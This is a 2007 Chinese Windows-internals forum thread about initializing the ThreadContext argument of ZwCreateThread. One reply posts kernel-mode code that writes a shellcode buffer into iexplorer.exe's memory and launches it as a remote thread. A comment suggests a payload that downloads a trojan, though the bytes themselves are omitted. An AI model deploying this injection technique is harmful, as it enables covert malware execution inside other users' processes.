阅读:6068回复:8
ZwCreateThread 的参数 ThreadContext 怎么初始化?
NTSTATUS NTAPI ZwCreateThread(
OUT PHANDLE ThreadHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, IN HANDLE ProcessHandle, OUT PCLIENT_ID ClientId, IN PCONTEXT ThreadContext, IN PINITIAL_TEB InitialTeb, IN BOOLEAN CreateSuspended ); PVOID NTAPI RtlInitializeContext( IN HANDLE ProcessHandle, OUT PCONTEXT ThreadContext, IN PVOID ThreadStartParam OPTIONAL, IN PTHREAD_START_ROUTINE ThreadStartAddress, IN PINITIAL_TEB InitialTeb ); ------------------------------------------------------------------------------ ZwCreateThread 的参数 ThreadContext 不知道应该怎么初始化? 1,我调用 RtlInitializeContext 初始化返回 0(NULL),而且跟踪发现里面的值也与 HOOK 的正常调用很大不同,貌似初始化失败。 2,然后我在网上找到一段代码,用以初始化: //Initialize new thread context //similar to it's initialization by system ThreadContext.SegGs = 0; ThreadContext.SegFs = 0x38; ThreadContext.SegEs = 0x20; ThreadContext.SegDs = 0x20; ThreadContext.SegSs = 0x20; ThreadContext.SegCs = 0x18; ThreadContext.EFlags = 0x3000; ThreadContext.Esp = ULONG(InitialTeb.StackCommit) - 4; ThreadContext.Eip = ULONG(_ThreadProc); // 函数入口地址 其中 ThreadContext 的 Eip 字段为函数入口地址,但是 HOOK 的正常调用该字段值却是一个固定值,并非函数入口地址,困惑。 以上两种初始化方法,或者结合两种方法的结果,都是失败: ZwCreateThread 返回 0xc0000005 内存非法访问!? 请大家指点指点,感激不尽!! |
|
|
沙发#
发布于:2007-01-08 10:32
由于涉及到非法访问内存,我把初始化栈的代码也贴上来:
// // initialize the INITIAL_TEB structure // BOOL InitUserStack( PINITIAL_TEB pInitialTeb ) { ULONG StackPageSize = 0x1000; ULONG MaximumStackSize = 0x100000; pInitialTeb->StackBase = NULL; pInitialTeb->StackLimit = NULL; // // Reserve address space for the stack // pInitialTeb->StackReserved = VirtualAlloc(NULL, MaximumStackSize, MEM_RESERVE, PAGE_READWRITE); if (pInitialTeb->StackReserved == NULL) { return FALSE; } pInitialTeb->StackCommit = PCHAR(pInitialTeb->StackReserved) + MaximumStackSize; pInitialTeb->StackCommitMax = PCHAR(pInitialTeb->StackCommit) - StackPageSize; // // commit // LPVOID pStack = PCHAR(pInitialTeb->StackCommit) - 2*StackPageSize; if (!VirtualAlloc(pStack, 2*StackPageSize, MEM_COMMIT, PAGE_READWRITE)) { VirtualFree(pInitialTeb->StackReserved, 0, MEM_RELEASE); return FALSE; } // // protect // DWORD dwOldProtect; if (!VirtualProtect(pStack, StackPageSize, PAGE_READWRITE | PAGE_GUARD, &dwOldProtect)) { VirtualFree(pInitialTeb->StackReserved, 0, MEM_RELEASE); return FALSE; } return TRUE; } 跟踪查看栈的地址值还是与正常调用一致的,貌似没有错误。 |
|
|
板凳#
发布于:2007-01-09 09:22
以上初始化参数在应用层调用 ZwCreateThread 可以成功,线程结束时有非法访问内存。在核心层以这些初始化参数调用 ZwCreateThread 将会失败返回 0xC0000005 。阿门,貌似应用层内存地址到核心层的转化问题,看来我还是太菜了点,不知道怎样才能搞定。。。
|
|
|
地板#
发布于:2007-01-26 15:26
500年过去了,不知道高手们是不屑回答如此简单的问题,还是都忙着搞服务器数据恢复去了。。。
|
|
|
地下室#
发布于:2007-01-26 18:23
我貌似解答过一次~~~
哈哈~ unsigned char shellcode[1024*4]={...}//一个ring3的shellcode,可以想象一下~~比如从url下载木马的... HANDLE CreateUserThread( IN HANDLE hProcess, IN PVOID EntryPoint, IN ULONG RegEax, IN ULONG RegEbx ) { USER_STACK stack = {0}; CONTEXT context; NTSTATUS status; ULONG AllocSize = PAGE_SIZE * 2; PVOID p; ULONG OldProtect; HANDLE hThread = (HANDLE)0; PCLIENT_ID cid; status = ZwAllocateVirtualMemory(hProcess, &stack.ExpandableStackBottom, 0, &AllocSize, MEM_RESERVE, PAGE_READWRITE); if (NT_SUCCESS(status)) { stack.ExpandableStackBase = (PUCHAR)stack.ExpandableStackBottom + PAGE_SIZE; stack.ExpandableStackLimit = stack.ExpandableStackBase; AllocSize = PAGE_SIZE; p = (PCHAR)stack.ExpandableStackBase - AllocSize; status = ZwAllocateVirtualMemory(hProcess, &p, 0, &AllocSize, MEM_COMMIT, PAGE_READWRITE); if (NT_SUCCESS(status)) { AllocSize = PAGE_SIZE; status = ZwProtectVirtualMemory(hProcess, &p, &AllocSize, PAGE_READWRITE | PAGE_GUARD, &OldProtect); if (NT_SUCCESS(status)) { cid = ExAllocatePool(PagedPool, sizeof(CLIENT_ID)); context.ContextFlags = CONTEXT_FULL; context.SegCs = 0x18; context.SegFs = 0x38; context.SegEs = 0x20; context.SegDs = 0x20; context.SegSs = 0x20; context.SegGs = 0x00; context.EFlags = 0x3000; context.Esp = (ULONG)stack.ExpandableStackBase - 4; context.Eip = (ULONG)EntryPoint; context.Eax = RegEax; context.Ebx = RegEbx; status = ZwCreateThread(&hThread, THREAD_ALL_ACCESS, NULL, hProcess, cid, &context, &stack, FALSE); ExFreePool(cid); if (NT_SUCCESS(status)) return hThread; } AllocSize = 0; ZwFreeVirtualMemory(hProcess, &p, &AllocSize, MEM_RELEASE); } AllocSize = PAGE_SIZE * 2; ZwFreeVirtualMemory(hProcess, &stack.ExpandableStackBottom, &AllocSize, MEM_DECOMMIT); return NULL; } HANDLE WriteShellToProcess() { HANDLE hProcess; DWORD pid; CLIENT_ID ClientId; NTSTATUS stat; OBJECT_ATTRIBUTES obj; PVOID EntryPoint=0; ULONG AllocSize = PAGE_SIZE * 10; getprocessptr(0,L"iexplorer.exe",&pid); ClientId.UniqueProcess = (HANDLE)pid; ClientId.UniqueThread = 0; InitializeObjectAttributes(&obj, NULL, OBJ_CASE_INSENSITIVE, NULL, NULL); stat = ZwOpenProcess(&hProcess,PROCESS_ALL_ACCESS,&obj,&ClientId); if(NT_SUCCESS(stat)) { stat = ZwAllocateVirtualMemory(hProcess, &EntryPoint, 0, &AllocSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); if(NT_SUCCESS(stat)) { stat = ZwWriteVirtualMemory(hProcess, EntryPoint, shellcode, sizeof(shellcode), 0); if(NT_SUCCESS(stat)) { return CreateUserThread(hProcess,EntryPoint,0,0); } } } return NULL; } |
|
|
5楼#
发布于:2007-02-07 02:58
上面的代码测试了一下好像有问题2K下CPU 100%,新建的线程一直貌似在做切换,2K3下进程就直接退出了
|
|
6楼#
发布于:2007-02-10 23:12
引用第5楼gaga_fucker于2007-02-07 02:58发表的“”: 确实有问题~~纯poc级别~ |
|
|
7楼#
发布于:2007-02-10 23:14
另外我的那代码要配合适当的shellcode,而且regEbx和regEax等东西是有意义的说~
|
|
|
8楼#
发布于:2007-02-27 17:38
谢谢 killvxk 的回复,这个问题已经暂时搁下了
|
|
|